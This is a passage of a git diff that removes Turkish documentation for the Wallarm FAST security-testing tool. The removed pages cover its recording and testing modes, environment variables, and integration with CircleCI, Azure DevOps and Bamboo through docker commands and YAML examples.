oluşturduğunu bildirir. İstekleri almaya ve temel (baseline) istekleri kaydetmeye hazırdır. - -!!! info "Test Kayıt Adları Hakkında Not" - Varsayılan test kayıt adını değiştirmek için FAST düğümü Docker konteynerini başlatırken gerekli değeri `TEST_RECORD_NAME` ortam değişkeni üzerinden iletmeniz gerekir. - -!!! warning "Test Yürütme" - Şimdi hedef uygulama için mevcut testleri yürütme zamanı. FAST, temel (baseline) istekleri kaydedecek ve test kaydını bunlarla dolduracaktır. - -## Kayıt Modunda FAST Düğümünü İçeren Docker Konteynerini Durdurma ve Kaldırma - -Gerekli tüm temel (baseline) istekler kaydedildiğinde, FAST düğümü bir CI/CD aracı tarafından kapatılır ve bir çıkış kodu döndürür. - -FAST düğümü hata ile karşılaşmaz ve temel kayıt işlemi başarıyla tamamlanırsa `0` çıkış kodu döndürülür. - -FAST düğümü bazı hatalarla karşılaşırsa veya zaman aşımı nedeniyle temel kayıt işlemi durdurulursa ([`INACTIVITY_TIMEOUT`][anchor-recording-variables] ortam değişkeninin açıklamasına bakın), FAST düğümü otomatik olarak durur ve `1` çıkış kodu döndürülür. - -FAST düğümü işini tamamladığında, ilgili Docker konteynerinin durdurulması ve kaldırılması gerekir. - -FAST düğümü `1` çıkış koduyla otomatik olarak durdurulmamışsa ve gerekli tüm temel istekler kaydedilmişse, `docker-compose stop ` komutunu çalıştırarak FAST düğümünün Docker konteynerini durdurabilirsiniz: - -``` -docker-compose stop fast -``` - -FAST düğümünün konteynerini kaldırmak için `docker-compose rm ` komutunu çalıştırın: - -``` -docker-compose rm fast -``` - -Yukarıdaki örneklerde, durdurulacak veya kaldırılacak Docker konteynerinin adı olarak `fast` kullanılmıştır. - -Alternatif olarak, `docker-compose.yaml` dosyasında tanımlanan tüm servislerin konteynerlerini durduran ve kaldıran `docker-compose down` komutunu kullanabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/ci-mode-testing.md b/docs/latest-tr/fast/poc/ci-mode-testing.md deleted file mode 100644 index 3770b7ca11..0000000000 --- a/docs/latest-tr/fast/poc/ci-mode-testing.md +++ /dev/null @@ -1,161 +0,0 @@ -[doc-testpolicy]: ../operations/internals.md#fast-test-policy -[doc-testpolicy-creation-example]: ../qsg/test-preparation.md#2-create-a-test-policy-targeted-at-xss-vulnerabilities -[doc-waiting-for-tests]: waiting-for-tests.md -[doc-get-token]: prerequisites.md#anchor-token -[doc-concurrent-pipelines]: ci-mode-concurrent-pipelines.md -[doc-env-variables]: ../operations/env-variables.md - -[link-wl-portal-new-policy]: https://us1.my.wallarm.com/testing/policies/new#general -[link-docker-compose]: https://docs.docker.com/compose/ -[link-docker-compose-install]: https://docs.docker.com/compose/install/ - -[anchor-testing-mode]: #deployment-of-a-fast-node-in-the-testing-mode -[anchor-testing-variables]: #environment-variables-in-testing-mode -[anchor-stopping-fast-node]: ci-mode-recording.md#stopping-and-removing-the-docker-container-with-the-fast-node-in-recording-mode -[anchor-testing-mode]: #deployment-of-a-fast-node-in-the-testing-mode - -# Test Modunda Bir FAST Düğümünü Çalıştırma - -Test modundayken FAST düğümü, kayıt modunda temel isteklerden doldurulan test kaydına dayanarak bir test çalıştırması oluşturur ve hedef uygulama için ayarlanmış güvenlik test setini yürütür. - -!!! info "Bölüm Önkoşulları" - Bu bölümde anlatılan adımları takip etmek için bir [token][doc-get-token] almanız gerekir. - - Bu bölüm boyunca örnek olarak aşağıdaki değerler kullanılır: - - * Bir test çalıştırmasının tanımlayıcısı olarak `tr_1234` - * Bir test kaydının tanımlayıcısı olarak `rec_0001` - * Bir temel isteğin tanımlayıcısı olarak `bl_7777` - -!!! info "`docker-compose`'i yükleyin" - Bu bölüm boyunca, FAST düğümünün test modunda nasıl çalıştığını göstermek için [`docker-compose`][link-docker-compose] aracı kullanılacaktır. - - Bu aracın kurulum talimatları [burada][link-docker-compose-install] mevcuttur. - -## Test Modunda Ortam Değişkenleri - -FAST düğümü yapılandırması ortam değişkenleri aracılığıyla yapılır. Aşağıdaki tablo, FAST düğümünü test modunda yapılandırmak için kullanılabilecek tüm ortam değişkenlerini içerir. - -| Ortam Değişkeni | Değer | Gerekli mi? | -|-------------------- | -------- | ----------- | -| `WALLARM_API_TOKEN` | Düğüm için token. | Evet | -| `WALLARM_API_HOST` | Kullanılacak Wallarm API sunucusunun alan adı.
              İzin verilen değerler:
              US cloud ile kullanım için `us1.api.wallarm.com`;
              EU cloud ile kullanım için `api.wallarm.com`.| Evet | -| `CI_MODE` | FAST düğümünün çalışma modu.
              Gerekli değer: `testing`. | Evet | -| `WORKERS` | Birden çok temel istekle paralel şekilde çalışan eşzamanlı iş parçacıklarının sayısı.
              Varsayılan değer: `10`.| Hayır | -| `TEST_RECORD_ID` | Test kaydının tanımlayıcısı.
              Varsayılan: boş değer. | Hayır | -| `TEST_RUN_NAME` | Test çalıştırmasının adı.
              Varsayılan değer benzer biçimdedir: “TestRun Sep 24 12:31 UTC”. | Hayır | -| `TEST_RUN_DESC` | Test çalıştırmasının açıklaması.
              Varsayılan değer: boş dize. | Hayır | -| `TEST_RUN_POLICY_ID` | Test politikasının tanımlayıcısı.
              Parametre yoksa, varsayılan politika devreye girer. | Hayır | -| `TEST_RUN_RPS` | Parametre, test çalıştırması sırasında hedef uygulamaya gönderilecek test isteklerinin sayısına (RPS, saniye başına istek) bir sınır belirtir.
              İzin verilen değer aralığı: 1 ile 1000 arası (saniye başına istek)
              Varsayılan değer: sınırsız. | Hayır | -| `TEST_RUN_STOP_ON_FIRST_FAIL` | Bu parametre, bir güvenlik açığı tespit edildiğinde FAST’in davranışını belirtir:
              `true`: ilk tespit edilen güvenlik açığında test çalıştırmasını durdurur.
              `false`: herhangi bir güvenlik açığı tespit edilip edilmediğine bakılmaksızın tüm temel istekleri işler.
              Varsayılan değer: `false`. | Hayır | -| `TEST_RUN_URI` | Hedef uygulamanın URI’si.
              Hedef uygulamanın IP adresi CI/CD süreci boyunca değişebileceğinden, uygulama URI’sini kullanabilirsiniz.
              Örneğin, `docker-compose` ile dağıtılan uygulamanın URI’si `http://app-test:3000` gibi görünebilir. | Hayır | -| `BUILD_ID` | Bir CI/CD iş akışının tanımlayıcısı. Bu tanımlayıcı, birkaç FAST düğümünün aynı bulut FAST düğümünü kullanarak eşzamanlı çalışmasına izin verir. Ayrıntılar için [bu][doc-concurrent-pipelines] belgeye bakın.| Hayır | -| `FILE_EXTENSIONS_TO_EXCLUDE` | Test sırasında değerlendirme sürecinden hariç tutulması gereken statik dosya uzantılarının listesi.
              Bu uzantıları | karakterini kullanarak sıralayabilirsiniz:
              FILE_EXTENSIONS_TO_EXCLUDE='jpg|ico|png' | Hayır | -| `PROCESSES` | FAST düğümü tarafından kullanılabilecek süreç sayısı. Her süreç, `WORKERS` değişkeninde belirtilen sayıda iş parçacığı kullanır.
              Varsayılan süreç sayısı: `1`.
              Özel değer: [nproc](https://www.gnu.org/software/coreutils/manual/html_node/nproc-invocation.html#nproc-invocation) komutu kullanılarak hesaplanan CPU sayısının yarısına eşit `auto`. | Hayır | - -!!! info "Ayrıca bakınız" - Belirli bir FAST düğümü çalışma moduna özgü olmayan ortam değişkenlerinin açıklamaları [burada][doc-env-variables] mevcuttur. - -## Bir Test Politikası Tanımlayıcısı Edinme - -Kendi [test politikanızı][doc-testpolicy] kullanmayı planlıyorsanız, Wallarm Cloud içinde [bir tane oluşturun][link-wl-portal-new-policy]. Daha sonra, FAST düğümünü test modunda çalıştırırken `TEST_RUN_POLICY_ID` ortam değişkeni aracılığıyla tanımlayıcıyı FAST düğümünün Docker konteynerine iletin. - -Aksi takdirde, varsayılan test politikasını kullanmayı seçerseniz, konteyner için `TEST_RUN_POLICY_ID` ortam değişkenini ayarlamayın. - -!!! info "Bir Test Politikası Nasıl Oluşturulur" - “Hızlı Başlangıç” kılavuzu, örnek bir test politikasının nasıl oluşturulacağına dair [adım adım talimatlar][doc-testpolicy-creation-example] içerir. - -## Bir test kaydı tanımlayıcısı alma - -Test modunda belirli bir test kaydını kullanmak için, test kaydının tanımlayıcısını [`TEST_RECORD_ID`][anchor-testing-variables] parametresiyle FAST düğümüne iletebilirsiniz. Böylece, önce FAST düğümünü kayıt modunda çalıştırmanıza gerek kalmaz. Bunun yerine, aynı güvenlik testlerini farklı düğümlerde ve test çalıştırmalarında birden çok kez gerçekleştirmek için önceden oluşturulmuş bir test kaydını kullanabilirsiniz. - -Test kaydının tanımlayıcısını Wallarm portal arayüzünden veya test modundaki FAST düğümü günlüğünden alabilirsiniz. `TEST_RECORD_ID` parametresini kullanmazsanız, FAST düğümü, düğümün son test kaydını kullanacaktır. - -## Test Modunda Bir FAST Düğümünün Dağıtımı - -Daha önce oluşturulan `docker-compose.yaml` dosyası, bir FAST düğümünü test modunda çalıştırmak için uygundur. -Bunu yapmak için, `CI_MODE` ortam değişkeninin değerini `testing` olarak değiştirmek gerekir. - -Değişkenin değerini `docker-compose.yaml` dosyasında düzenleyerek değiştirebilir veya gerekli değere sahip ortam değişkenini `docker-compose run` komutunun `-e` seçeneğiyle Docker konteynerine geçirerek ayarlayabilirsiniz: - -``` -docker-compose run --rm -e CI_MODE=testing fast -``` - -!!! info "Test hakkında rapor alma" - Test sonuçlarını içeren raporu almak için, FAST düğümü Docker konteynerini dağıtırken `-v {DIRECTORY_FOR_REPORTS}:/opt/reports/` seçeneği aracılığıyla raporların indirileceği dizini bağlayın. - - Güvenlik testleri tamamlandığında, `{DIRECTORY_FOR_REPORTS}` dizininde kısa `..txt` raporunu ve ayrıntılı `..json` raporunu bulacaksınız. - -!!! info "`docker-compose` komutunun seçenekleri" - Yukarıda açıklanan ortam değişkenlerinin herhangi birini `-e` seçeneğiyle bir FAST düğümü Docker konteynerine geçirebilirsiniz. - - Yukarıdaki örnekte ayrıca `--rm` seçeneği kullanılmıştır; böylece düğüm durdurulduğunda FAST düğümü konteyneri otomatik olarak temizlenir. - -Komut başarıyla yürütülürse, aşağıda gösterilene benzer bir konsol çıktısı üretilecektir: - -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -Loading... -INFO synccloud[13]: Registered new instance 16dd487f-3d40-4834-xxxx-8ff17842d60b -INFO [1]: Loaded 0 custom extensions for fast scanner -INFO [1]: Loaded 44 default extensions for fast scanner -INFO [1]: Use TestRecord#rec_0001 for creating TestRun -INFO [1]: TestRun#tr_1234 created -``` - -Bu çıktı, `rec_0001` tanımlayıcısına sahip test kaydının, `tr_1234` tanımlayıcılı bir test çalıştırması oluşturmak için kullanıldığını ve işlemin başarıyla tamamlandığını bildirir. - -Sonraki adımda, test politikasını karşılayan test kaydındaki her temel istek için FAST düğümü tarafından güvenlik testleri oluşturulur ve yürütülür. Konsol çıktısı aşağıdakilere benzer iletiler içerecektir: - -``` -INFO [1]: Running a test set for the baseline #bl_7777 -INFO [1]: Test set for the baseline #bl_7777 is running -INFO [1]: Retrieving the baseline request Hit#["hits_production_202_20xx10_v_1", "AW2xxxxxW26"] -INFO [1]: Use TestPolicy with name 'Default Policy' -``` - -Bu çıktı, `bl_7777` tanımlayıcılı temel istekler için test setinin çalıştırıldığını belirtir. Ayrıca, `TEST_RUN_POLICY_ID` ortam değişkeninin olmaması nedeniyle varsayılan test politikasının kullanıldığını bildirir. - -## Test Modunda FAST Düğümüyle Docker Konteynerini Durdurma ve Kaldırma - -Elde edilen test sonuçlarına bağlı olarak, FAST düğümleri farklı şekillerde sonlanabilir. - -Hedef uygulamada bazı güvenlik açıkları tespit edilirse, FAST düğümü buna benzer bir ileti gösterir: - -``` -INFO [1]: Found 4 vulnerabilities, marking the test set for baseline #bl_7777 as failed -ERROR [1]: TestRun#tr_1234 failed -``` - -Bu durumda dört güvenlik açığı bulundu. `bl_7777` tanımlayıcılı temel istek için test seti başarısız sayılır. `tr_1234` tanımlayıcılı ilgili test çalıştırması da başarısız olarak işaretlenir. - -Hedef uygulamada herhangi bir güvenlik açığı tespit edilmezse, FAST düğümü buna benzer bir ileti gösterir: - -``` -INFO [1]: No issues found. Test set for baseline #bl_7777 passed. -INFO [1]: TestRun#tr_1234 passed -``` - -Bu durumda, `tr_1234` tanımlayıcılı test çalıştırması başarılı kabul edilir. - -!!! warning "Güvenlik test setleri hakkında" - Yukarıdaki örneklerin yalnızca tek bir test setinin çalıştırıldığı anlamına gelmediğine dikkat edin. FAST test politikasına uyan her temel istek için bir test seti oluşturulur. - - Gösterim amacıyla burada tek bir test setine ilişkin bir ileti gösterilmiştir. - -FAST düğümü test sürecini tamamladıktan sonra sonlanır ve bir CI/CD işi kapsamında çalışan sürece bir çıkış kodu döndürür. -* Güvenlik testi durumu “passed” ise ve FAST düğümü test süreci sırasında hata ile karşılaşmazsa `0` çıkış kodu döndürülür. -* Aksi halde, güvenlik testleri başarısız olursa veya FAST düğümü test süreci sırasında bazı hatalarla karşılaşırsa `1` çıkış kodu döndürülür. - -Test modundaki FAST düğümü konteyneri, güvenlik testleri tamamlandıktan sonra otomatik olarak duracaktır. Yine de, bir CI/CD aracı, [daha önce açıklanan][anchor-stopping-fast-node] yollarla düğümün ve konteynerinin yaşam döngüsünü kontrol edebilir. - -[Örnek yukarıda][anchor-testing-mode] FAST düğümü konteyneri `--rm` seçeneğiyle çalıştırılmıştı. Bu, durdurulan konteynerin otomatik olarak kaldırılacağı anlamına gelir. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/circleci-orbs.md b/docs/latest-tr/fast/poc/circleci-orbs.md deleted file mode 100644 index b96449af79..0000000000 --- a/docs/latest-tr/fast/poc/circleci-orbs.md +++ /dev/null @@ -1,86 +0,0 @@ -[fast-jenkins-cimode]: ./examples/jenkins-cimode.md -[fast-ci-mode-test]: ../ci-mode-testing.md#environment-variables-in-recording-mode -[recording-mode]: ci-mode-recording.md -[fast-node-token]: ../operations/create-node.md -[circleci-set-env-var]: https://circleci.com/docs/2.0/env-vars/#setting-an-environment-variable-in-a-project -[circleci-example-env-var]: ../../images/fast/poc/common/examples/circleci-cimode/circleci-env-var-example.png -[circleci-fast-plugin]: https://circleci.com/orbs/registry/orb/wallarm/fast -[circleci-using-orbs]: https://circleci.com/docs/2.0/using-orbs/ -[mail-to-us]: mailto:support@wallarm.com - -# CircleCI ile Wallarm FAST Orbs Entegrasyonu - -Bu talimat, FAST'i [Wallarm FAST Orbs (eklenti)][circleci-fast-plugin] aracılığıyla CircleCI iş akışıyla entegre etme yöntemini açıklar. Entegrasyon kurulumu `~/.circleci/config.yml` yapılandırma dosyasında gerçekleştirilir. CircleCI Orbs hakkında daha fazla ayrıntı [resmi CircleCI dokümantasyonunda][circleci-using-orbs] mevcuttur. - -!!! warning "Gereksinimler" - - * CircleCI sürüm 2.1 - * Halihazırda [kaydedilmiş temel istekler kümesine][recording-mode] sahip yapılandırılmış CircleCI iş akışı - - CircleCI'nin başka bir sürümüyle çalışıyorsanız veya istek kaydı adımını eklemeniz gerekiyorsa, lütfen [FAST node ile CircleCI entegrasyonu örneğine][fast-jenkins-cimode] göz atın. - -## Adım 1: FAST Node Token'ını iletme - -CircleCI proje ayarlarında `WALLARM_API_TOKEN` ortam değişkenine [FAST node token][fast-node-token] değerini girin. Ortam değişkenlerinin nasıl ayarlanacağı [CircleCI dokümantasyonunda][circleci-set-env-var] açıklanmıştır. - -![CircleCI ortam değişkeninin iletilmesi][circleci-example-env-var] - -## Adım 2: Wallarm FAST Orbs'u bağlama - -Wallarm FAST Orbs'u bağlamak için `~/.circleci/config.yml` dosyasında aşağıdaki ayarları yapın: - -1. Dosyada CircleCI sürüm 2.1 olarak belirtildiğinden emin olun: - - ``` - version: 2.1 - ``` -2. `orbs` bölümünde Wallarm FAST eklentisini başlatın: - - ``` - orbs: - fast: wallarm/fast@1.1.0 - ``` - -## Adım 3: Güvenlik test adımını yapılandırma - -Güvenlik testini yapılandırmak için CircleCI iş akışınıza ayrı bir adım olarak `fast/run_security_tests` ekleyin ve aşağıda listelenen parametreleri tanımlayın: - -| Parametre | Açıklama | Zorunlu | -| ---------| ---------|--------------- | -| test_record_id | Test kaydı kimliği (ID). [TEST_RECORD_ID](ci-mode-testing.md#environment-variables-in-testing-mode) ile eşleşir.
              Varsayılan değer, kullanılan FAST node tarafından oluşturulan son test kaydıdır. | Evet | -| app_host | Test uygulamasının adresi. Değer bir IP adresi veya alan adı olabilir.
              Varsayılan değer iç IP'dir. | Hayır | -| app_port | Test uygulamasının portu.
              Varsayılan değer 80'dir. | Hayır | -| policy_id | [Test policy](../operations/test-policy/overview.md) kimliği (ID).
              Varsayılan değer `[null]`-`Default Test Policy`. | Hayır | -| stop_on_first_fail | Bir hata oluştuğunda testin durdurulmasını belirten bayrak. | Hayır | -| test_run_name | Test çalıştırmasının adı.
              Varsayılan olarak, değer test çalıştırmasının oluşturulma tarihinden otomatik olarak üretilecektir. | Hayır | -| test_run_desc | Test çalıştırmasının açıklaması. | Hayır | -| test_run_rps | Hedef uygulamaya gönderilecek test isteklerinin sayısı için bir sınır (*RPS*, saniyedeki istek sayısı).
              Minimum değer: `1`.
              Maksimum değer: `1000`.
              Varsayılan değer: `null` (RPS sınırsızdır). | Hayır | -| wallarm_api_host | Wallarm API sunucusunun adresi.
              İzin verilen değerler:
              Wallarm US cloud için `us1.api.wallarm.com` ve
              Wallarm EU cloud için `api.wallarm.com`
              Varsayılan değer `us1.api.wallarm.com`. | Hayır | -| wallarm_fast_port | FAST node'unun portu.
              Varsayılan değer 8080'dir. | Hayır | -| wallarm_version | Kullanılan Wallarm FAST Orbs sürümü.
              Sürümler listesine [bağlantıya][circleci-fast-plugin] tıklayarak ulaşabilirsiniz.
              Varsayılan değer latest. | Hayır | - -??? info "~/.circleci/config.yml örneği" - ``` - version: 2.1 - jobs: - build: - machine: - image: 'ubuntu-1604:201903-01' - steps: - - checkout - - run: - command: > - docker run -d --name app-test -p 3000:3000 - wallarm/fast-example-rails - name: Run application - - fast/run_security_tests: - app_port: '3000' - test_record_id: '9058' - orbs: - fast: 'wallarm/fast@dev:1.1.0' - ``` - - FAST'in CircleCI iş akışına entegrasyonuna dair daha fazla örneği [GitHub](https://github.com/wallarm/fast-examples) ve [CircleCI](https://circleci.com/gh/wallarm/fast-example-circleci-orb-rails-integration) üzerinde bulabilirsiniz. - -!!! info "Ek sorular" - FAST entegrasyonuyla ilgili sorularınız varsa lütfen [bizimle iletişime geçin][mail-to-us]. \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/examples/azure-devops-cimode.md b/docs/latest-tr/fast/poc/examples/azure-devops-cimode.md deleted file mode 100644 index f40e231cd6..0000000000 --- a/docs/latest-tr/fast/poc/examples/azure-devops-cimode.md +++ /dev/null @@ -1,103 +0,0 @@ -# FAST'in Azure DevOps ile Entegrasyonu - -CI MODE'da FAST'in Azure DevOps pipeline'ına entegrasyonu `azure-pipelines.yml` dosyası üzerinden yapılandırılır. `azure-pipelines.yml` dosyasının ayrıntılı şeması [Azure DevOps resmi dokümantasyonunda](https://docs.microsoft.com/en-us/azure/devops/pipelines/yaml-schema?view=azure-devops&tabs=schema%2Cparameter-schema) açıklanmaktadır. - -!!! info "Yapılandırılmış iş akışı" - Aşağıdaki adımlar, şu maddelerden birine karşılık gelen önceden yapılandırılmış bir iş akışı gerektirir: - - * Test otomasyonu uygulanmış durumda. Bu durumda, FAST düğüm belirteci [aktarılmalı](#passing-fast-node-token) ve [istek kaydetme](#adding-the-step-of-request-recording) ile [güvenlik testi](#adding-the-step-of-security-testing) adımları eklenmelidir. - * Temel istek kümesi önceden kaydedilmiş durumda. Bu durumda, FAST düğüm belirteci [aktarılmalı](#passing-fast-node-token) ve [güvenlik testi](#adding-the-step-of-security-testing) adımı eklenmelidir. - -## FAST Düğüm Belirtecinin İletilmesi - -[FAST düğüm belirtecini](../../operations/create-node.md) güvenli bir şekilde kullanmak için mevcut pipeline ayarlarınızı açın ve belirteç değerini [Azure DevOps ortam değişkenine](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=azure-devops&tabs=yaml%2Cbatch#environment-variables) iletin. - -![Azure DevOps ortam değişkeni geçirme](../../../images/fast/poc/common/examples/azure-devops-cimode/azure-env-var-example.png) - -## İstek Kaydetme Adımının Eklenmesi - ---8<-- "../include/fast/fast-cimode-integration-examples/request-recording-setup.md" - -??? info "FAST düğümünü kayıt modunda çalıştıran otomatik test adımı örneği" - ``` - - job: tests - steps: - - script: docker network create my-network - displayName: 'Create my-network' - - script: docker run --rm --name dvwa -d --network my-network wallarm/fast-example-dvwa-base - displayName: 'Run test application on my-network' - - script: docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=dvwa -p 8080:8080 --network my-network --rm wallarm/fast - displayName: 'Run FAST node in recording mode on my-network' - - script: docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - displayName: 'Run Selenium with FAST node as a proxy on my-network' - - script: docker run --rm --name tests --network my-network wallarm/fast-example-dvwa-tests - displayName: 'Run automated tests on my-network' - - script: docker stop selenium fast - displayName: 'Stop Selenium and FAST node in recording mode' - ``` - -## Güvenlik Testi Adımının Eklenmesi - -Güvenlik testi kurulumu, test uygulamasında kullanılan kimlik doğrulama yöntemine bağlıdır: - -* Kimlik doğrulama gerekiyorsa, güvenlik testi adımını istek kaydetme adımıyla aynı işe ekleyin. -* Kimlik doğrulama gerekmiyorsa, güvenlik testi adımını pipeline'a ayrı bir iş olarak ekleyin. - -Güvenlik testini uygulamak için şu talimatları izleyin: - -1. Test uygulamasının çalıştığından emin olun. Gerekirse, uygulamayı çalıştırma komutunu ekleyin. -2. FAST Docker konteynerini `CI_MODE=testing` modunda ve diğer gerekli [değişkenlerle](../ci-mode-testing.md#environment-variables-in-testing-mode) uygulamayı çalıştıran komutun __ardından__ çalıştıran komutu ekleyin. - - !!! info "Kaydedilmiş temel istek kümesini kullanma" - Temel istek kümesi başka bir pipeline'da kaydedildiyse, [TEST_RECORD_ID](../ci-mode-testing.md#environment-variables-in-testing-mode) değişkeninde kayıt kimliğini belirtin. Aksi halde, en son kaydedilen küme kullanılacaktır. - - Komut örneği: - - ``` - docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://app-test:3000 --network my-network --rm wallarm/fast - ``` - -!!! warning "Docker Ağı" - Güvenlik testinden önce, FAST düğümü ile test uygulamasının aynı ağda çalıştığından emin olun. - -??? info "FAST düğümünü test modunda çalıştıran otomatik test adımı örneği" - Aşağıdaki örnek, kimlik doğrulama gerektiren DVWA uygulamasını test ettiğinden, güvenlik testi adımı istek kaydetme adımıyla aynı işe eklenmiştir. - - ``` - stages: - - stage: testing - jobs: - - job: tests - steps: - - script: docker network create my-network - displayName: 'Create my-network' - - script: docker run --rm --name dvwa -d --network my-network wallarm/fast-example-dvwa-base - displayName: 'Run test application on my-network' - - script: docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=dvwa -p 8080:8080 --network my-network --rm wallarm/fast - displayName: 'Run FAST node in recording mode on my-network' - - script: docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - displayName: 'Run Selenium with FAST node as a proxy on my-network' - - script: docker run --rm --name tests --network my-network wallarm/fast-example-dvwa-tests - displayName: 'Run automated tests on my-network' - - script: docker stop selenium fast - displayName: 'Stop Selenium and FAST node in recording mode' - - script: docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://dvwa:80 --network my-network --rm wallarm/fast - displayName: 'Run FAST node in testing mode on my-network' - - script: docker stop dvwa - displayName: 'Stop test application' - - script: docker network rm my-network - displayName: 'Delete my-network' - ``` - -## Test Sonucunun Alınması - -Güvenlik testinin sonucu Azure DevOps arayüzünde görüntülenecektir. - -![FAST düğümünün test modunda çalıştırılmasının sonucu](../../../images/fast/poc/common/examples/azure-devops-cimode/azure-ci-example.png) - -## Daha Fazla Örnek - -FAST'in Azure DevOps iş akışına entegrasyonuna ilişkin örnekleri [GitHub](https://github.com/wallarm/fast-examples) üzerinde bulabilirsiniz. - -!!! info "Daha fazla soru" - FAST entegrasyonuyla ilgili sorularınız varsa lütfen [bizimle iletişime geçin](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-tr/fast/poc/examples/bamboo-cimode.md b/docs/latest-tr/fast/poc/examples/bamboo-cimode.md deleted file mode 100644 index 05afc9961e..0000000000 --- a/docs/latest-tr/fast/poc/examples/bamboo-cimode.md +++ /dev/null @@ -1,128 +0,0 @@ -# FAST'in Bamboo ile entegrasyonu - -CI MODE'de FAST'in Bamboo iş akışına entegrasyonu aşağıdaki yöntemlerden biriyle yapılandırılabilir: - -* [YAML spesifikasyonu](https://confluence.atlassian.com/bamboo/bamboo-yaml-specs-938844479.html) aracılığıyla -* [JAVA spesifikasyonu](https://confluence.atlassian.com/bamboo/bamboo-java-specs-941616821.html) aracılığıyla -* [Bamboo UI](https://confluence.atlassian.com/bamboo/jobs-and-tasks-289277035.html) aracılığıyla - -Aşağıdaki örnek, entegrasyonu yapılandırmak için YAML spesifikasyonunu kullanır. - -## FAST düğüm belirtecinin iletilmesi - -[FAST düğüm belirtecini](../../operations/create-node.md) güvenli şekilde kullanmak için değerini bir [Bamboo global değişkeni](https://confluence.atlassian.com/bamboo/defining-global-variables-289277112.html) olarak tanımlayın. - -![Bamboo global değişkeninin iletilmesi](../../../images/fast/poc/common/examples/bamboo-cimode/bamboo-env-var-example.png) - ---8<-- "../include/fast/fast-cimode-integration-examples/configured-workflow.md" - -## İstek kaydı adımını ekleme - -İstek kaydını uygulamak için otomatik uygulama testi işine aşağıdaki ayarları uygulayın: - -1. Otomatik testleri çalıştıran komuttan önce, gerekli diğer [değişkenlerle](../ci-mode-recording.md#environment-variables-in-recording-mode) birlikte FAST Docker kapsayıcısını `CI_MODE=recording` modunda çalıştıran komutu ekleyin. Örneğin: - - ``` - docker run --name fast -d -e WALLARM_API_TOKEN=${bamboo_WALLARM_API_TOKEN} -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=dvwa -p 8080:8080 --network my-network --rm wallarm/fast - ``` -2. Otomatik testlerin FAST düğümü üzerinden proxy'lenmesini yapılandırın. Örneğin: - - ``` - docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - ``` - -!!! warning "Docker ağı" - İstekleri kaydetmeden önce, FAST düğümünün ve otomatik test aracının aynı ağda çalıştığından emin olun. - -??? info "FAST düğümünün kayıt modunda çalıştırıldığı otomatik test adımı örneği" - ``` - test: - key: TST - tasks: - - script: - interpreter: /bin/sh - scripts: - - docker network create my-network - - docker run --rm --name dvwa -d --network my-network wallarm/fast-example-dvwa-base - - docker run --name fast -d -e WALLARM_API_TOKEN=${bamboo_WALLARM_API_TOKEN} -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=dvwa -p 8080:8080 --network my-network --rm wallarm/fast - - docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - - docker run --rm --name tests --network my-network wallarm/fast-example-dvwa-tests - - docker stop selenium fast - ``` - - Örnek aşağıdaki adımları içerir: - - 1. `my-network` adlı Docker ağını oluşturun. - 2. `dvwa` test uygulamasını `my-network` ağında çalıştırın. - 3. FAST düğümünü `my-network` ağında kayıt modunda çalıştırın. - 4. Otomatik test aracı Selenium'u, FAST düğümünü proxy olarak kullanacak şekilde `my-network` ağında çalıştırın. - 5. Otomatik testleri `my-network` ağında çalıştırın. - 6. Otomatik test aracı Selenium'u ve kayıt modundaki FAST düğümünü durdurun. - -## Güvenlik testi adımını ekleme - -Güvenlik testini uygulamak için iş akışınıza aşağıdaki talimatları izleyerek ayrı bir adım ekleyin: - -1. Test uygulaması çalışmıyorsa, uygulamayı çalıştırma komutunu ekleyin. -2. Uygulamayı çalıştıran komuttan sonra, gerekli diğer [değişkenlerle](../ci-mode-testing.md#environment-variables-in-testing-mode) birlikte FAST Docker kapsayıcısını `CI_MODE=testing` modunda çalıştıran komutu ekleyin. - - !!! info "Kaydedilmiş temel istek kümesini kullanma" - Temel istek kümesi başka bir pipeline'da kaydedildiyse, [TEST_RECORD_ID](../ci-mode-testing.md#environment-variables-in-testing-mode) değişkeninde kayıt kimliğini belirtin. Aksi halde, son kaydedilen küme kullanılacaktır. - - Komut örneği: - - ``` - docker run --name fast -e WALLARM_API_TOKEN=${bamboo_WALLARM_API_TOKEN} -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://dvwa:80 --network my-network --rm wallarm/fast - ``` - -!!! warning "Docker ağı" - Güvenlik testinden önce, FAST düğümünün ve test uygulamasının aynı ağda çalıştığından emin olun. - -??? info "Güvenlik testi adımı örneği" - Komutlar, istek kaydı adımında oluşturulan `my-network` ağında çalıştırılmaktadır. Test uygulaması, `app-test`, de istek kaydı adımında çalıştırılmaktadır. - - 1. `security_testing`i `stages` listesine ekleyin. Örnekte, bu adım iş akışını sonlandırır. - - ``` - stages: - - testing: - manual: false - jobs: - - test 